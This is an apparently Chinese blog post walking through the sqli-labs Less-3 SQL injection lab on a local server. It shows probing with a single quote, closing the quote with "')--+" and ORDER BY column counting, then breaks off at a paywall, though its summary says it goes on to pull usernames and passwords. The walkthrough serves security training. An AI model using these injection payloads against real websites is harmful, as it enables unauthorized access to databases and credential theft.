这篇博客详细介绍了SQL注入攻击的一个实例，通过Less-3 GET错误注入来揭示数据库信息。作者逐步展示了如何利用单引号闭合技巧，探测SQL语句结构，查询数据库版本、当前数据库、表名、列名，最终获取username和password。过程中涉及了UNION查询、ORDER BY、GROUP_CONCAT等SQL操作。
Less-3 GET - Error based -Single quotes with twist- String
1.原页面
2.?id=1
3.?id=1’
‘ ‘1’’) LIMIT 0,1 ‘ --> ‘1’’) LIMIT 0,1 --> ‘1’) LIMIT 0,1 -->
(‘1’) LIMIT 0,1
SQL:
Select login_name,password from admin where id =(‘id’) limit 0,1
4.闭合单引号
http://127.0.0.1/sqli/Less-3/?id=1’)–+
SQL：
Select login_name,password from admin where id=(‘1’)–+’)limit 0,1;
5.查询字段
?id=1’) order by 3–+
最低0.47元/天 解锁文章
扫一扫
394
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
